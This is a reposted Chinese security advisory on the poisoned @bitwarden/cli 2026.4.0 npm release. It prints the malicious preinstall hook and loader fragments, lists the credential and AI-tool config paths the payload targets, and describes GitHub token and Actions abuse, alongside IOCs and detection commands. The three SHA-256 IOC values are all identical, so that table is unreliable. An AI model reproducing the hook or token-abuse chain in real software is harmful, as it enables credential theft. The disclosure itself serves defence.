文章总结: JFrog安全团队披露BitwardenCLI遭供应链投毒,攻击者发布恶意版本2026.4.0,通过预安装脚本和Bun运行时窃取SSH、云凭证及AI工具配置,并滥用GitHubtoken进行二次攻击。文档提供了攻击链路、IOC及检测命令,建议用户检查版本并扫描相关痕迹。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,安全工具,威胁情报
突发:知名密码管理器Bitwarden CLI遭供应链投毒
原创
玄月调查小组 玄月调查小组
玄月调查小组
2026年4月24日 00:08 上海 标题已修改
在小说阅读器读本章
去阅读
2026 年 4 月 23 日,JFrog 安全研究团队发布预警,披露 TeamPCP对Bitwarden CLI的最新供应链攻击。攻击者在 npm 发布了 @bitwarden/cli 2026.4.0 恶意包。
攻击链路拆解
投毒版本完整保留了Bitwarden CLI 的品牌标识与仓库元数据,
但修改了包执行路径, 使 npm 运行恶意加载器。
只要执行了这个版本的安装命令,npm就会自动执行preinstall恶意脚本
{
"scripts": {
"preinstall": "node bw_setup.js"
},
"bin": {
"bw": "bw_setup.js"
}
}
目前 2026.4.0版本已经被npm删除
触发机制
加载器 bw_setup.js 首先脚本会先检测本地环境是否安装 Bun,
若未安装则从 GitHub 官方仓库下载对应平台的 Bun 安装包,
完成解压与权限配置后,
通过 Bun 执行核心恶意载荷 bw1.js。
const BUN_VERSION = "1.3.13";
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
...
if (!isWin) fs.chmodSync(binPath, 0o755);
execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });
这一设计既摆脱了对受害者本地 Node.js 环境的依赖,也脱离了常规 npm 包的执行路径,提升了杀软的绕过概率。
凭据收集
除了常规木马都会瞄准的SSH密钥、历史记录、AWS/GCP/Azure三大云的密钥,甚至还专门加入了对AI开发工具配置文件的抓取。
| 类别 | 路径/模式 |
| — | — |
| SSH | ~/.ssh/id_ 、~/.ssh/id*、~/.ssh/known_hosts、~/.ssh/keys |
| Git | .git/config 、.git-credentials |
| npm | ~/.npmrc 、.npmrc |
| 通用密钥 | .env |
| 历史记录 | ~/.bash_history 、~/.zsh_history |
| AWS | ~/.aws/credentials |
| GCP | ~/.config/gcloud/credentials.db |
| AI / MCP | ~/.claude.json 、.claude.json、~/.claude/mcp.json、~/.kiro/settings/mcp.json、.kiro/settings/mcp.json |
注意最后一行,针对 Claude 和 Kiro 的配置文件
当然也包括供应链攻击最爱的GitHub和npm token
GitHub:ghp_... 和 gho_...
npm:npm_...
不止偷你的数据,也偷你公司的
有同学该说了:不就是偷个本地凭证吗?至于这么紧张? 那你太小看这套攻击体系了。 它不止窃取GitHub token,更是直接把偷来的token武器化,完成二次渗透。
token有效性校验
它会先通过 https://api.github.com/user 接口,对窃取到的 GitHub token进行有效性核验;核验通过后,会启动三条基于 GitHub 平台的权限升级与攻击兜底链路。
三条核心 GitHub 攻击链路
| 攻击链路 | 具体执行行为 | 硬编码关键配置 |
| — | — | — |
| 提交记录搜索获取备用 PAT | 向 GitHub 提交搜索接口发起查询,从匹配到的提交信息中,提取经双层 Base64 编码的备用个人访问token(PAT) | 请求地址:https://api.github.com/search/commits?q=LongLiveTheResistanceAgainstMachines&sort=author-date&order=desc&per_page=50 |
| 签名提交记录发现备用外泄域名 | 若主数据外泄域名访问失败,会搜索 GitHub 中以beautifulcastle开头的提交信息,通过内置 RSA 公钥完成签名校验后,解析出备用的外泄域名 | 匹配正则:/beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/;请求地址模板:https://api.github.com/search/commits?q=" + encodeURIComponent(query) + "&sort=author-date&order=desc |
| 仓库兜底数据外泄 | 拿到可用 PAT 后,直接在受害者 GitHub 账号下创建仓库,在results/目录下上传加密后的 JSON 格式窃密数据 | |
恶意滥用GitHub Actions
获取有效token后,还会进一步滥用 GitHub Actions 功能:
-
枚举token拥有写入权限的所有代码仓库
-
拉取仓库内的 Actions 密钥清单
-
创建临时分支,提交恶意工作流文件
-
等待工作流执行完成,下载生成的机密产物
-
执行完毕后删除临时分支与工作流运行记录,销毁攻击痕迹
两套数据泄露通道
该攻击活动的另一大特点,是设计了主备双外泄通道,主通道不通就自动切换GitHub兜底,保证数据尽量能回传到攻击者手中。
主通道: 将所有窃取数据用 AES-256-GCM 加密(密钥再用RSA公钥包裹),POST到: hxxps://audit[.]checkmarx[.]cx/v1/telemetry
注:域名伪装成安全公司 Checkmarx 的域名
备用通道,如果直接通过 HTTPS 泄露数据失败,会切换至 GitHub 路径。
抖机灵的TeamPCP?
此前,@pcpcats 账号转发了checkmarx入侵事件的报道,并发布了挑衅性言论:“感谢 OSS 分发,让 PCP 公司又度过了非常成功的一天。”
不过之后该账号被X封禁,没法看到TeamPCP的回复了。
毕竟这次的直接是checkmarx[.]cx
因为bitwarden/cli(每周 7.8 万次下载),所以已经有人在声讨bitwarden了。。。
而bitwarden官方认为生产数据和系统没有被入侵,
只安装浏览器插件的同学,也许可以喘口气了?
如何判断是否中招
检查是否安装过问题版本:
npm list -g @bitwarden/cli
如果输出包含 2026.4.0 ,立即处置。
扫描痕迹:
rg -n "audit\.checkmarx\.cx|LongLiveTheResistanceAgainstMachines|beautifulcastle" .
ls -la bun bun.exe bw1.js bw_setup.js 2>/dev/null
IOC
网络IOC
| 类型 | 值 | 用途 |
| — | — | — |
| 域名 | audit[.]checkmarx[.]cx | 主要 HTTPS 外泄域名 |
| IP | 94[.]154[.]172[.]43 | 域名解析的 IP 地址 |
| URL | hxxps[://]audit[.]checkmarx[.]cx/v1/telemetry | 主要外泄路径 |
| URL | hxxps[://]api[.]github[.]com/search/commits?q=LongLiveTheResistanceAgainstMachines&sort=author-date&order=desc&per_page=50 | 通过提交搜索获取 PAT |
| URL | hxxps[://]api[.]github[.]com/search/commits?q=beautifulcastle%20&sort=author-date&order=desc | 回退域名发现模式 |
| URL | hxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/<asset>.zip | 运行时引导下载 |
包和文件IOC
| 类型 | 值 |
| — | — |
| 包 | @bitwarden/cli |
| 恶意版本 | 2026.4.0 |
| 加载器文件 | bw_setup.js |
| Payload 文件 | bw1.js |
| 加载器 SHA-256 | 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14 |
| Payload SHA-256 | 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14 |
| 篡改后的根元数据 SHA-256 | 8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14 |
最后
对于安全行业来说,
Trivy、Checkmarx还没止血,
Bitwarden又补了一刀。
对于饱受AI冲击的安全行业来说, 大家觉得到底是好是坏呢?
以上,既然看到这里了,如果觉得不错,随手点个赞、在看、转发三连吧,如果想第一时间收到推送,也可以给我个星标⭐~谢谢你看我的文章,我们,下次再见。
参考资料: https://research.jfrog.com/post/bitwarden-cli-hijack/
https://github.com/bitwarden/clients/issues/20353
https://community.bitwarden.com/t/bitwarden-statement-on-checkmarx-supply-chain-incident/96127
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄月调查小组 玄月调查小组 玄月调查小组《突发:知名密码管理器Bitwarden CLI遭供应链投毒》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论